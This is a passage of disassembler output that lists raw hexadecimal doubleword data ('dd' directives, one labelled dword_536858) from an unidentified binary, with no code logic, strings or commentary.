		dd 0FE24E480h, 0BB0D0420h, 1D08168h, 2C65D274h,	0AC1AA78Eh
		dd 2C36198h, 0CCE22974h, 0E4842C9Dh, 0ADCC815Bh, 0F9518A38h
		dd 0CF09B054h, 0C288046Bh, 168E8C80h, 98B9032h,	910678CAh
		dd 1771414h, 0BBD4F008h, 0C562080Bh, 1C04F413h,	3C817D0Dh
		dd 0A420EC6Dh, 0A05A486Eh, 22934E01h, 0E4F1996Fh, 0BA0FF6A5h
		dd 0C07EC5F8h, 0A9C8913Ah, 0EE6A009Eh, 0F7A542ECh, 6100D506h
		dd 62CEA7F8h, 0A4AA7C18h, 51D9041Ch, 4A28936h, 7703484Eh
		dd 0D7A04F81h, 58013D80h, 6F118919h, 204C8379h,	239E0891h
		dd 0AE0AA39Dh, 2604CC6h, 3578367h, 0E6A7461h, 6001386Fh
		dd 0B86269DFh, 28E09355h, 1FFF73F8h, 90ADDh, 0CD3025E7h
		dd 3A4C8EAFh, 683E0E01h, 512F27C5h, 7BC188Ah, 357C66AAh
		dd 0B9AB80D9h, 0A508C1h, 65C4DB2Bh, 8509DE75h, 1CA1BA29h
		dd 0BE0ED804h, 0CD9508C0h, 0AA2B00EFh, 1F156508h, 5D0562D2h
		dd 0C4E2D5F0h, 997D1C30h, 0E647205Ah, 0E245CF00h, 0D942E509h
		dd 480E00B0h, 148BDA5Bh, 0D400FA79h, 21FED6C0h,	395E841h
		dd 0D99BCF83h, 3008498Ch, 0C05E374Eh, 2DD046A9h, 95E9A602h
		dd 9C1EA3h, 2CDA63EAh, 0B0D48200h, 0ADA96BAEh, 0CA9A29EEh
		dd 200D0020h, 6058C735h, 34439500h, 64CD9E9Dh, 9638C2D7h
		dd 0F4167B11h, 4D8E00DDh, 639556E3h, 9F140AECh,	0C46845CDh
		dd 583D025h, 3A01AA8h, 14386099h, 3D188D9Ch, 2350E802h
		dd 787D522Dh, 0E2EB0980h, 28C0ABCAh, 0B0D6BEC3h, 0EDF234EEh
		dd 9ED0C008h, 30A6526Dh, 23006CF2h, 955702B3h, 7E17F7E3h
		dd 993604Dh, 7840CB62h,	0E5C73Eh, 0FB50E059h, 1FFD235h
		dd 0BC0EBEDBh, 203C142Bh, 0E3606E49h, 0CCC9B938h, 9BB81440h
		dd 409C1849h, 8E7376C8h, 0A2E638DEh, 2B28BA60h,	29F858BBh
		dd 1844ACh, 0C3216CCCh,	3814DC32h, 0C040DE2Eh, 0D06A14B3h
		dd 4E20C036h, 1840D1CAh, 502EE003h, 0A0315A98h,	0C756F658h
		dd 0C33244C0h, 7874CA18h, 0EC7B63Eh, 801FC9F9h,	3F94DD39h
		dd 0FCD23AF8h, 96BF780Fh, 0C07C380Ah, 888A8663h, 98DD013Fh
		dd 1061EBEEh, 6E9CA160h, 95AA7980h, 9E15D83Fh, 1CE608C8h
		dd 40074338h, 607CB758h, 3A52D11Fh, 66322F01h, 9C5C9F78h
		dd 1470824h, 0E0CB90Dh,	5178C896h, 501CD035h, 12590C10h
		dd 0AE308D15h, 0F0CDBB33h, 99A814FAh, 7FC01849h, 3365CAB9h
		dd 0E4CEA4A0h, 81F85653h
dword_536858	dd 70CE3ECh, 0BF0367C9h, 5398581Ah, 2F816F0h, 1017AE75h
		dd 8800DC36h, 0AC986634h, 0DC20A40h, 85A8A0B6h,	10611E2Eh
		dd 6A084A4h, 34308D3Ah,	0D34E800Dh, 58662B40h, 2831654h
		dd 63B39672h, 5EEFD082h, 50304C42h, 29183C4Eh, 0E5007EDh
		dd 0D928C2EEh, 583044B6h, 0A22518D0h, 1AAE5064h, 3C583981h
		dd 0CB180881h, 0CE02B928h, 0B958BC57h, 1AD4AB78h, 0D0935046h
		dd 0CAB8296Eh, 3E48C0B8h, 0FCA90AB7h, 58A8EC8Eh, 5280F8A5h
		dd 81E36175h, 0F5A0A064h, 75B7577h, 585E4335h, 0FBCAABDh
		dd 0F885C451h, 659C008Dh, 85B44E9Ah, 493EC000h,	2A0DB289h
		dd 0AF6D0004h, 0F09819CFh, 0E4EB7086h, 8077059Bh, 6C5A90Ch
		dd 3CBC0881h, 4600AD03h, 0F885AC3Ah, 3BB0B426h,	240508C3h
		dd 1A103348h, 7008A609h, 0C9337F45h, 41660D02h,	9086D580h
		dd 8E14C16Ch, 0DC147A0Ah, 0E7686283h, 0B098019Bh, 0EA8EC07Bh
		dd 6C604C28h, 0A80CA508h, 0ACD00C9Ch, 3CAC4A28h, 688A0E0Dh
		dd 0EAC851F3h, 23C5EC6Eh, 71E3A8Dh, 0EF3BE980h,	15108658h
		dd 3C8DF5E3h, 870EF4C0h, 590C9937h, 29D33086h, 8E060616h
		dd 8807108Ah, 29AADF3Eh, 2400BC2Ah, 0B19CE9Eh, 5CD11C66h
		dd 0EE620068h, 0C34FEBA3h, 8112711Ch, 0AF040D82h, 11887A6h
		dd 0FD8E5CB0h, 0E61002Ah, 606AA163h, 38C5F206h,	18200736h
		dd 720A453h, 0B72850CFh, 0C0B8200Fh, 2000A21h, 9D118805h
		dd 5AFB24h, 0EA6D896Bh,	9B2FB729h, 61BF8F00h, 4A5E514h
		dd 1F0346E6h, 307B511Bh, 0AB4F58FDh, 84CE0876h,	16C00623h
		dd 609F8D2Ah, 0D46F2855h, 0C429CE77h, 0E08140F3h, 5D2B0998h
		dd 4C8F288Eh, 0EEE1C062h, 0DC783C99h, 52405B23h, 0BEB404AFh
		dd 709861C0h, 602E35BBh, 0E9CFD189h, 156C0BFh, 885B3E64h
		dd 64F6FEBh, 789FF1EFh,	0AB29C3Ah, 444611C1h, 0F6FF8050h
		dd 0FD9C5ADh, 61AC0609h, 98FA909Fh, 74404D68h, 40DFA3C0h
		dd 1FB4A417h, 69A5EBD8h, 1E9640C8h, 99DC6D5Bh, 504481CCh
		dd 0CEA20353h, 0A5D6E1A4h, 4C98E2D2h, 0C310F9EEh, 6F395695h
		dd 0AC43063h, 0FAF3D788h, 790634A6h, 14DA4AB0h,	62DF3111h
		dd 9D692390h, 0F95E9008h, 1E7810B0h, 5FAF0236h,	0CFEE0FBEh
		dd 0FF041488h, 21B42C00h, 0FAC8C25Bh, 179E0012h, 0C1C7A07h
		dd 27E87ED8h, 0CB306460h, 0F6975AAh, 0E3A47223h, 3283C72Fh
		dd 1846ABC9h, 4C65CA34h, 6E900F5Ch, 8980259Ch, 40A7A32Fh
		dd 722C341Fh, 2B84C143h, 39C2BF10h, 810C8241h, 0C1B1163h
		dd 10D14235h, 8D8A3E3Bh, 0C75E9018h, 84A8DC39h,	4535DB40h
		dd 0C04D325h, 0F121E50Eh, 0E8244118h, 0FD0C41D3h, 5B22EAD7h
		dd 0E130853Ah, 4847604Ah, 2A302995h, 0D568480Ah, 0F1D82460h
		dd 285F20ECh, 0C7FD128h, 5EA2BC11h, 2818DD2Ah, 530CA637h
		dd 0C82A9089h, 2AED4330h, 192148B7h, 0C9615D0h,	0FA790530h
		dd 0AF1065A8h, 761437D5h, 0D080C7Bh, 0A288D4C3h, 5DC80080h
		dd 2D421205h, 1F00F449h, 0FB4F74F9h, 0D59AA00Ch, 9C152Fh
		dd 0C9977B4Dh, 3D41F4F3h, 9630B061h, 94E0F10Ah,	9266E263h
		dd 1BA80624h, 0A03BD26Bh, 8455EF1Fh, 5B1F0AE0h,	802566h
		dd 0F8B37529h, 3309920Bh, 2242ADEh, 80609876h, 0BDA5DF5Ch
		dd 326818B8h, 42A9A021h, 0F8C03B00h, 1F671CF4h,	18A8C00Bh
		dd 2A130C19h, 9DA51A18h, 296CE564h, 501C231Eh, 4103A1A7h
		dd 1CF6606Eh, 9CB11C83h, 5233007Ch, 0F332EA7Fh,	6924C600h
		dd 85291635h, 42A61BE6h, 79B8594Fh, 449A762Dh, 72C31500h
		dd 0B2E52757h, 65B815C8h, 0C52ED4CAh, 0BB390748h, 0AB6930FAh
		dd 0AA05E6A5h, 64F39922h, 0B56F1400h, 2894852Ah, 7343FF5h
		dd 0AC1DC417h, 0A32543D5h, 9C230FB8h, 21B8791Dh, 0C33C8243h
		dd 7EF814F6h, 0FA07AC22h, 818EA6A7h, 0F4774228h, 0DB1E6C84h
		dd 7A460F4Ah, 0AB9DA2Dh, 0E7673DFEh, 38A7009Ch,	0B41C038Ch
		dd 0D4111601h, 0C02D4855h, 0E436880h, 5F05CBECh, 69637E0Ch
		dd 317F18BFh, 7D1A974h,	3B809026h, 7FDC53F0h, 389F0124h
		dd 0D01526BBh, 4816C000h, 3B598357h, 23840988h,	0F04336h
		dd 3B51F535h, 0C875505Bh, 0F93C301Dh, 7D49EDF0h, 5609B4Ch
		dd 0AEF3E459h, 8F478287h, 0B189DD6h, 8B8C3673h,	0FE2A0603h
		dd 7B6BF90Eh, 0DD2098CEh, 68F23029h, 0D4E65318h, 0D552A3A0h
		dd 30AC56F9h, 84682C68h, 0F3797CC3h, 4895CAFFh,	0A86E58h
		dd 1BCD972Dh, 0E64F35FDh, 89B470C0h, 4D1D7AFFh,	0A3AF02Eh
		dd 2C827C48h, 944BAEB3h, 0D3D89488h, 0E22271Ch,	18203C4Ch
		dd 8B322AE8h, 0CE352480h, 29E60014h, 88045B1Ah,	0E45AD826h
		dd 66935980h, 7A222Eh, 0DD0E34B5h, 673C0ADBh, 6249B02h
		dd 0C0B060C4h, 49C5E9h,	0DF880C79h, 9805A552h, 25D0A600h
		dd 9EDD3624h, 743B2C4Fh, 0A8A78118h, 0F0783580h, 0FE074290h
		dd 1946CC6h, 0AB4AE0D1h, 36352986h, 2209A027h, 0A94F54F6h
		dd 110802B8h, 32A001Eh,	8A12A98Eh, 7402C302h, 0C89138B9h
		dd 40182CECh, 93065320h, 0CCB62D92h, 0B3DA18E9h, 2E0B087h
		dd 0ADE80A03h, 0A0346D4Dh, 0E250C5h, 44657CEDh,	3EC9FD03h
		dd 35AC5100h, 375EC78Dh, 7B340F9Dh, 80473AECh, 56914063h
		dd 28033F6Eh, 315F828Dh, 2A7BF0B1h, 0BD4800A8h,	208FB498h
		dd 57FE7767h, 39802C03h, 90BAE0D6h, 103C763h, 1E0F9BB1h
		dd 804FF389h, 66C50170h, 0F449446Ah, 0C2603E5h,	9F0798E2h
		dd 7F9DA001h, 34AFD3B4h, 351F5080h, 37C35440h, 0E3327B00h
		dd 0A12F7E75h, 6B253359h, 1D9824E0h, 0D9003E1Ah, 0D15B5267h
		dd 7A62D338h, 20930236h, 6ADFF772h, 944F6DC0h, 0EA023B0Ch
		dd 0FC34707Dh, 50073081h, 3D6EE8A0h, 0F8413833h, 87E69001h
		dd 8028C033h, 2605A04Ah, 3FD078C0h, 14F5B969h, 48A4D1ABh
		dd 3D809F3Ah, 2F6EFA02h, 0D01C933Fh, 370057A6h,	38D0969h
		dd 986750ACh, 0DE8B3C63h, 2FE52B0Fh, 0D1EE4360h, 0C10CF1C6h
		dd 7949B932h, 9FD00C39h, 99983EFEh, 12CEA205h, 0EC20136Fh
		dd 0A861A86Ah, 626988E4h, 3D3B1A0h, 0C9D16D20h,	0BAE9C0C1h
		dd 5B6AFCF5h, 3EEC3C50h, 4C029618h, 2ED860h, 29A8C647h
		dd 62BE936Fh, 0ABDDCE0Ch, 5C02043h, 0EAE3C3B1h,	6840368h
		dd 0FFA8D367h, 18A02958h, 4240FA95h, 316B188Dh,	0AF526838h
		dd 6DF42515h, 963A1280h, 213B3421h, 0BB0F681h, 506F5DB8h
		dd 2B6958D0h, 5AB20300h, 0E096E9DDh, 402D6038h,	5920F055h
		dd 28083350h, 2C5A311Ah, 23080489h, 0E0FDA161h,	0D5061F1Dh
		dd 0D8CEF90Eh, 0B9B60508h, 4EDBB478h, 930043A0h, 5BC4C6F2h
		dd 86FD200h, 66A68C3Bh,	0C9F83D0Bh, 0C7B66901h,	22C42415h
		dd 4632A14h, 10FB5103h,	27FD5F8h, 0F6B42219h, 0D0404B70h
		dd 2520C2BAh, 0C41F4E1h, 9E08C927h, 93091E40h, 0A116Fh
		dd 19850BCCh, 6C53249Ch, 912C007Ch, 3F04B19Dh, 3AA77800h
		dd 540F7943h, 339E2473h, 41DE5020h, 774DC8A4h, 0EBA0200h
		dd 0A06EE216h, 0A0AF9EC8h, 26DB3CF4h, 4F7E8306h, 0AB0C39FAh
		dd 0C92123B7h, 40B2015Fh, 0EB263ADEh, 1C51879Fh, 9C4734C9h
		dd 24C08565h, 7E6A5209h, 4E411F9Bh, 692940E3h, 0D3C353E8h
		dd 883230A4h, 0A0E0B14Ch, 0F11C6D48h, 0DB0E01B2h, 7CA6E8F4h
		dd 0E0F70047h, 54C07F7Bh, 15F2D8C7h, 0B482C139h, 5160783Dh
		dd 1FDED2D4h, 0D3383F61h, 43008A8h, 10BB3BCAh, 89260C09h
		dd 0B99D1000h, 2801F595h
		dd 3C33ED6Dh, 703453F4h, 0B4742973h, 3A094CF0h,	9E572892h
		dd 304AB70Ch, 0FDC4BED9h, 1859486Ch, 1AB4B209h,	8EE12413h
		dd 160C425Ah, 84CF4918h, 4110F243h, 980A82C3h, 5CD0226Bh
		dd 0A34C0610h, 115DA218h, 42710C9Eh, 0C7A2AE1h,	15BF7621h
		dd 427B3CD2h, 8E20C5h, 4A9BF49Ch, 20A75B45h, 0C2D5D90Fh
		dd 0C9185B0Fh, 91115A7Ch, 0B89808FEh, 18AA6476h, 0E770406Dh
		dd 0F4501247h, 0FF77071Ch, 80AC6375h, 5165A2D2h, 8700ADF8h
		dd 2C7001DDh, 3EE11923h, 0C700B055h, 0AD6B8462h, 730120A6h
		dd 0B92E1211h, 388F671Dh, 35408F58h, 2CAFFA42h,	4891D301h
		dd 6874B2EBh, 2432F4h, 0DCA4E0A5h, 0BDDD2C89h, 5ED68400h
		dd 0E2B236C5h, 4D711D55h, 5B2901E5h, 0E07E65AFh, 2CFAEB80h
		dd 0F319CD00h, 5F92DF02h, 4CE45554h, 3C5276C8h,	3E00879Bh
		dd 393B311Ah, 0E001FE80h, 7F40D1ADh, 62DC7CAFh,	0DD2F0014h
		dd 4385E6BBh, 29013904h, 0B595DEA3h, 1FE4F782h,	0B6120097h
		dd 7C13206Eh, 1BE86B35h, 1AE31CAEh, 845CC101h, 0F085A73Ch
		dd 523C032Ch, 3A078023h, 0EB17D97h, 5C1E005Bh, 0BA70087Ch
		dd 60E9C9B3h, 0FD00231Fh, 4388BFE9h, 1D9A4A8h, 61841BA2h
		dd 8FBD07E6h, 6206EF29h, 27F8203h, 0CEE3C067h, 0C215C3A0h
		dd 140AAC7Ch, 5C1FBF95h, 240D060h, 5256001Dh, 0E94C489Ch
		dd 14816A3h, 0AA3F01E4h, 0E23B602Ah, 751AC0h, 0FBDE03CAh
		dd 0A2AC46B5h, 13EDA00h, 0DDCCB9E5h, 0F1BD0035h, 0FEA4EDD8h
		dd 0E007BCD1h, 0E319C187h, 4100140Ah, 7DD247FAh, 0CA611EDAh
		dd 51D8C01Fh, 0FD25AA81h, 0F8330725h, 0CDEF07FCh, 905790C4h
		dd 80618B6Bh, 7A490903h, 0E0343B01h, 1B8F1F9h, 7E53BD3Eh
		dd 0C4D76AFAh, 0CD00A31Ah, 0AF471420h, 1683BA54h, 3356513h
		dd 6B9A0ADFh, 0A1447ED8h, 8D77CD1Ch, 945C7980h,	0E0AB2C37h
		dd 88DD001Dh, 0B21AD018h, 0AF034F4Dh, 0D6B30D77h, 0D896D879h
		dd 0A28C0C76h, 4040786Bh, 66058A05h, 87BF2447h,	280DC0D0h
		dd 147ADD20h, 1A00DBFAh, 0C5C8C6Dh, 7E04799h, 0BC98B3CAh
		dd 4E51F09Ch, 0BDEA7852h, 6EEE5B00h, 0FBE5258Bh, 36B7776Fh
		dd 79288247h, 0E69D7700h, 86B0CD2Eh, 52BE016Ch,	2637F75Ch
		dd 7978D488h, 1950F803h, 30A12347h, 8DC92A91h, 251D48E4h
		dd 0A5585262h, 497950h,	0FA518443h, 88DC2E29h, 0BDAC3352h
		dd 54D9880h, 0E851F85Bh, 0A89E2B00h, 5FCC2DBCh,	195D00D6h
		dd 309B08E9h, 155025C6h, 67FC7AF4h, 4FC4024Ah, 5170447Fh
		dd 5CC88C56h, 0AE7624CEh, 0AB830240h, 344EDB32h, 45EB9D00h
		dd 43F13CA7h, 530E07A2h, 83645070h, 24D0AF07h, 0D07CAB25h
		dd 0D27D4E1Dh, 80668C8Fh, 0A767965h, 376300E7h,	4CBC77B2h
		dd 0F001CA47h, 8CEF12ABh, 88807A85h, 0BCA02DD9h, 0A77950CCh
		dd 0F137BB02h, 943D138Dh, 2D960E84h, 0A8946E02h, 0EA86C00h
		dd 221061D0h, 975B3Fh, 700F5FBAh, 7D68C6Fh, 0A9DF9D11h
		dd 331A60A8h, 0CA05F06Ah, 54E46E63h, 3B8D8440h,	2E8AA7h
		dd 158082B4h, 5F572B6Ch, 21D00D51h, 43D00830h, 0E00DA72h
		dd 0CD7ADD2Bh, 48FF456Fh, 2AB6498h, 3ED08345h, 2F08697Fh
		dd 2A85CCh, 36BE0549h, 0D666A8F3h, 0D798D500h, 44F14F57h
		dd 0D98C24C7h, 0D831570Ch, 7AD04294h, 0A9B412DEh, 6F044054h
		dd 29F83AFFh, 5BF20205h, 0FC2B2D65h, 0E5D7FF81h, 0C644D084h
		dd 0F4149529h, 0B49E2501h, 8C44A233h, 74E58038h, 44445220h
		dd 505B71F1h, 0E4D1E3F8h, 0E00E2631h, 0C44C9FC3h, 84982ACCh
		dd 0F3D90290h, 9BD17889h, 712B1448h, 0C3337778h, 378A1192h
		dd 8041CC20h, 1D0BAFFh,	0C2219360h, 9A88EB77h, 0F99AF038h
		dd 418961E1h, 9CA02472h, 173773D8h, 2D6FF503h, 0C8E729BFh
		dd 991C266h, 0D87C83BDh, 9D254023h, 578B31E1h, 633540A4h
		dd 830773D6h, 6F44B4D9h, 49A76BF0h, 0EBE43EBFh,	90939CD4h
		dd 0AAC0130Ch, 3300407Ch, 47358A46h, 0F95FC00h,	0E37A630Ah
		dd 0D3B412CDh, 0D000220Eh, 0CEC6AC83h, 0F51CE904h, 0A880593Bh
		dd 0F6F6BBFEh, 0A55D0149h, 0C07E970Eh, 0EBE45162h, 486FF108h
		dd 90938AB0h, 28E49B84h, 76714081h, 0CF2D9980h,	8D0D5993h
		dd 7BF76B01h, 6A65E263h, 0E82129D4h, 0ECB20E18h, 0F9202C04h
		dd 0F20EBA26h, 7D90170Bh, 0E2B2008Ch, 2748DAh, 5D0514D5h
		dd 38ADAF4Eh, 0EBFF6D18h, 850430h, 5123650h, 0DF76BFDBh
		dd 10BA800h, 0D819BA27h, 0F6EC0760h, 0C03997D2h, 7CF8DBC2h
		dd 401CE830h, 794856h, 0C9652CC5h, 3EE7C08Eh, 4F012807h
		dd 27074492h, 312E99D0h, 0E1E05038h, 610E606Eh,	0C0BDD2DDh
		dd 0C10185A3h, 0E719D861h, 0F7210Dh, 0D66EA828h, 48A7751Dh
		dd 7397DD00h, 0D9C1FD9Dh, 0ECCB0065h, 7BC90E36h, 7F4CA747h
		dd 0C3151D8Bh, 0B00441Eh, 0C84F0F32h, 0C53F0004h, 3CB33006h
		dd 0D30E1E2Ch, 0C0C2472Fh, 16809453h, 418395D7h, 0A5CB01FFh
		dd 7E5C100h, 0D3ACC577h, 13F82E97h, 0D80200CCh,	9311D548h
		dd 0B9342C00h, 6252E5EBh, 966506DBh, 286F6EB0h,	6B80CD0Ah
		dd 8E80B825h, 832BA840h, 12630E1Eh, 0FF6A23D5h,	649B0280h
		dd 0A0803616h, 4FCF227h, 1BA34800h, 0F17F3A7Eh,	0EEB222CEh
		dd 0C4B41000h, 0D1461C87h, 1FA7009h, 7D4C2663h,	305D0366h
		dd 840EC2E1h, 6771EF41h, 0D16006F7h, 0BBBE88h, 0A6111A97h
		dd 861DFB44h, 2803F2F2h, 3D40C42Fh, 241014A4h, 0F4F80489h
		dd 87BACB1Fh, 5B8F7A00h, 6C4628h, 58B4F5E1h, 22A6824Fh
		dd 8DAF0B00h, 0A7903EEAh, 298833F1h, 40F41D28h,	9717FD1h
		dd 11D942AFh, 0F75883D6h, 8F172962h, 0B921E524h, 6C45D842h
		dd 6B9520h, 7D1F87Dh, 7C8702D9h, 0EC0C930Fh, 8127EF47h
		dd 0F647FC7h, 0D8C312F1h, 0C58F81h, 0C1A8DDC6h,	0E3D70BECh
		dd 6B003990h, 0E938C92Eh, 0B1D225h, 0F49FBF54h,	25CA1D7h
		dd 984E8D18h, 7F95A5Ch,	76F328BAh, 9C9430E6h, 1A773F8Ah
		dd 75B95E00h, 0FAB07D10h, 0EA7A25h, 7FBC18ADh, 0CB4770CFh
		dd 343C2F1Eh, 0AADD07BBh, 4FD0FDF9h, 3176A1Bh, 0A84661ABh
		dd 52A89A87h, 0CA0EEC9Fh, 8179FD0Fh, 0BA2B51D8h, 69D4C840h
		dd 0B94F00A8h, 79E3A222h, 0F9000673h, 5E58C69Fh, 0C35917h
		dd 0BDBEC2AFh, 38CC5F4h, 5F731800h, 42153E43h, 0F2691F1Bh
		dd 9961406Bh, 1ABDA05h,	920A2100h, 0BAC5AE20h, 0A99002CFh
		dd 0FD10A7CEh, 536B0848h, 38A66300h, 0B42AF1Fh,	550C005Ch
		dd 0FC78856Dh, 0D3711DEEh, 41675000h, 9C58E5C1h, 59360091h
		dd 473E62E4h, 0A0BC6A9h, 0E1109D6h, 0F16B4042h,	0BD674Fh
		dd 7A24AABBh, 0E85865DCh, 9B00FFE6h, 891F4696h,	5CB92C56h
		dd 799E0Eh, 0B26355F4h,	1C79854Eh, 0B557910Fh, 0E9E0E0DCh
		dd 10EEDFFh, 624D0CD1h,	80F259A3h, 5847C731h, 0DD1ADAh
		dd 0E7BCB037h, 5B96B907h, 45CC8D06h, 3F0FC01h, 0E6C402B5h
		dd 0AE99FF17h, 1FF8409Ch, 0EB7B47A4h, 0A9006FE8h, 0EA055C9Ah
		dd 726807h, 1835483Ch, 0D5C0C6E1h, 88381900h, 0E297416Ch
		dd 0B0C1FE29h, 8A7E10h,	0A314332h, 0E0841183h, 9800CC7Bh
		dd 0C1CB4C10h, 1E29120h, 99E61E21h, 6063B240h, 0A81D8779h
		dd 508A476Ah, 0F4009C43h, 0AEC7237Ch, 9DA10196h, 0E554162Ch
		dd 0FB06D5F3h, 19A9DA00h, 0EC7F1DCCh, 75D50023h, 2057DFFEh
		dd 0AD0F845Ch, 0C0944177h, 1B2E7BF2h, 561F27Dh,	0E20C5412h
		dd 3271C040h, 7204CCB6h
		dd 0A20D3F3Eh, 80E110C0h, 0AAE50055h, 0C6E8A642h, 3500EB92h
		dd 1CF445DDh, 794E4F0Bh, 0A7F648D2h, 71F0E500h,	6C4CA824h
		dd 2B8A8700h, 5F09772Ah, 0ECB00057h, 0AB93C813h, 9000B78Eh
		dd 1C0B8F3Eh, 6F016911h, 0B52754E6h, 0FE436083h, 6A1CDD76h
		dd 5100309Eh, 2BFAD46Dh, 0ED774866h, 0E180B439h, 8CC992A3h
		dd 0AE0068FFh, 0E489BBB2h, 1D5187E8h, 80DFCED2h, 0BF7EACB9h
		dd 6F00D323h, 0F52B6A12h, 67DD4Ch, 0EAF7E5FFh, 0B1E13D6h
		dd 5500B771h, 0DE4712E7h, 2F7484h, 0EC444C51h, 0D54E915h
		dd 41007178h, 8DEBF046h, 2C9038h, 9EE613B6h, 4DBAD293h
		dd 30B8300h, 0F3FE4CFDh, 0DE78FCh, 62515E97h, 64F19081h
		dd 0CD48B406h, 4C78FAh,	0C6BAC291h, 5DA28BA1h, 0B2208100h
		dd 0C3A628C4h, 0BD20709h, 90BFE5D0h, 69FCCD9Bh,	665EE406h
		dd 0FB804FEh, 765519F4h, 0ACA00FC2h, 696CB340h,	0FA736500h
		dd 445189FFh, 0E4E57826h, 4BD800C6h, 2F7930BBh,	0E100A908h
		dd 0FC28E2B9h, 0E043B794h, 1CBE00D2h, 5AD9EF87h, 820F8F4Dh
		dd 4068BDC5h, 15942226h, 0F2350047h, 0A2507D2Ch, 0E5B0C1B5h
		dd 9CFA0C00h, 88FE41E6h, 3D676E9h, 0C7BF973Fh, 9A896837h
		dd 0CF44C46Dh, 59AA5000h, 4C49EB5h, 17D50091h, 18A52E54h
		dd 88003031h, 5EAD73E0h, 0B9A4E36h, 0DA5D2A89h,	47B29A80h
		dd 0EC0F6FC0h, 0EF8809h, 916DB40Ah, 328E27Bh, 0C7DF075Bh
		dd 0DDB1C4Bh, 154978F8h, 74987204h, 5680B7E8h, 0B0249450h
		dd 0FF050367h, 84C8179Eh, 0B09A62B8h, 336D4F00h, 65C7E0A7h
		dd 46BB3DB7h, 0CE548E00h, 0BC4884F9h, 9F5A5700h, 142A2DB0h
		dd 0BE410009h, 0B6AE11A4h, 4D00A6BBh, 9BDA6699h, 624057h
		dd 656D1A6Ch, 1D7598B0h, 295C7470h, 40710972h, 354000F8h
		dd 7D9E052h, 5AA65577h,	618B7079h, 4901F697h, 0CA333EF5h
		dd 17C41F19h, 0D287C80h, 32BF5F4Fh, 0AAB9E818h,	11B55A00h
		dd 0ACBB443Eh, 5C3C00C8h, 0EAE40D86h, 0CE00E070h, 881106A9h
		dd 8485Dh, 37CF0595h, 90B9F1F4h, 80D1EE3Fh, 105234AAh
		dd 727F1C3Ah, 0BF1B3EDEh, 0C6B00580h, 0F6462283h, 6B2B1500h
		dd 7CFB6CD9h, 8FA800EDh, 8B92EB0Ch, 300A38Ah, 0ECDD7FB7h
		dd 394FACE0h, 2980A625h, 7A31544Eh, 860047E7h, 0B0F27F99h
		dd 192ED2h, 2D589AB6h, 640D2016h, 6091B939h, 2CB7BD9Eh
		dd 0FB1F1F83h, 81E2C0E5h, 0C3C7A94Dh, 941B403h,	92129BE9h
		dd 2200C0B3h, 84420FE8h, 5260940Eh, 0E2C1596Bh,	1DF72000h
		dd 26673B36h, 0D2EC00BFh, 49AE6F65h, 0E3003304h, 5ECE57A9h
		dd 97E90Ah, 79125FA4h, 0D27295D5h, 63FF3Fh, 0DD143A7h
		dd 2E29B902h, 2C78DFh, 0F962FC91h, 0E800F1C5h, 0C30F3F14h
		dd 1EB21E7Dh, 40928DA8h, 8F8B49F7h, 0B100D527h,	91683CC2h
		dd 2BDE7FDh, 1B930890h,	2060E6A2h, 0BF00EE6Dh, 8FD9269Bh
		dd 3ACB98h, 0C1D27FA5h,	73B1D391h, 0AF054B00h, 34585C5Dh
		dd 177B0043h, 8B9EAAB6h, 0E3000D70h, 459510CFh,	0C04E71FDh
		dd 8D08CB20h, 0DF00BEA0h, 10E098F1h, 400BF78Bh,	81064B51h
		dd 6C6EC177h, 0DA410069h, 5DC67AF3h, 8D00ECB3h,	0A569E89h
		dd 0B1D490h, 3A15CB46h,	7C6005E5h, 2DE97B07h, 0EFD07059h
		dd 0F3F99Bh, 0B901BBFDh, 1542489Fh, 844711Eh, 0FC65C800h
		dd 0C02F53B7h, 2560E6C1h, 0C40087F4h, 0E1A6E2F1h, 0DEAE04C8h
		dd 0BFA08040h, 0E8133AFEh, 0F098A507h, 5521725Eh, 2EE4A964h
		dd 248F00BAh, 0E093237Bh, 0F1070C6Eh, 15910959h, 17CEECA1h
		dd 63A160h, 0D90A957Eh,	9897A094h, 0EB8ECD00h, 0F20CD606h
		dd 0B2C300F9h, 2E296D59h, 5A0025E7h, 0D836C57Ch, 1FB566A5h
		dd 0CE093B53h, 0C6E0AAA1h, 0B22772FAh, 898AF507h, 0BCC07721h
		dd 3A1A96h, 0F77BBAEBh,	62F28C4Dh, 0B9122D00h, 0B3178D59h
		dd 0A0610441h, 0EBF3A850h, 0EBD6C780h, 76E500D9h, 0F6BC241Ah
		dd 6E00AF14h, 0A42BF4C0h, 264F42h, 5AD4104Ah, 0F5E12971h
		dd 46A21D07h, 8620F71Eh, 0E519414h, 48C7C8EEh, 0C9FBFC0h
		dd 1000A565h, 6C607428h, 727D618h, 0F9B83BDDh, 0F0A2F0B1h
		dd 0C90FAF10h, 0E0C45AC8h, 0EC11087Ch, 684700C3h, 0BDD0FAE9h
		dd 0FC1C8626h, 33C0D4BBh, 143CED32h, 7FB1E65Fh,	7DA448B4h
		dd 995D0078h, 41FF2A3Dh, 0DF714FE1h, 0EA561007h, 7990C36Dh
		dd 476AA74h, 29197D0Eh,	0B31CC053h, 5D79E696h, 59DFDA00h
		dd 0B5F6CFBBh, 0A17BA9h, 88A26917h, 342622Eh, 9AC69700h
		dd 0DEBBFAE1h, 7EC97870h, 0CA730007h, 0F3081B5Ah, 0F4770C86h
		dd 590080D3h, 7B58E817h, 169A00A0h, 0E706E43Eh,	0D400C969h
		dd 0D2AA90F7h, 0E0562A8h, 7F86B327h, 0AE780CA0h, 9500E86Ah
		dd 36F7E47Ah, 0E5DA5Eh,	75B53385h, 0E31349CDh, 4857BA00h
		dd 70869D7Dh, 0ACD40756h, 0E19593E1h, 803206DBh, 0EE680ED8h
		dd 0FC3390h, 0CA8DF7F8h, 0D770318Ah, 0FBC8E300h, 7690E936h
		dd 7F55006Fh, 311FEBEAh, 0D100BD0Ah, 0ADE82089h, 307062h
		dd 0E17F40EDh, 940826F2h, 73B41F01h, 4C0DF6F0h,	6FFFFCh
		dd 92CF6BBCh, 9AE9942Ah, 0A4328200h, 0C3A16ACAh, 2209395Fh
		dd 0A36F5C8Fh, 0DC83FEC3h, 253E50C8h, 0C616DD00h, 5B6BC799h
		dd 0E7A207D4h, 0AF3DBE5Ch, 0ABAAA380h, 5703810Bh, 0F4C23950h
		dd 27CFE0DBh, 0ECE7122h, 67A9B28Ch, 87853C00h, 49007579h
		dd 26AD429Dh, 0F07B0DEh, 20B17B3Ah, 0AFCC4803h,	0C0FF23EBh
		dd 8156D51Eh, 0EED9F00h, 2A0B4A14h, 71A600AAh, 615C5A91h
		dd 0B400E13Ch, 993FD6DEh, 0C051D1h, 0D476F8E9h,	5F8F0DC4h
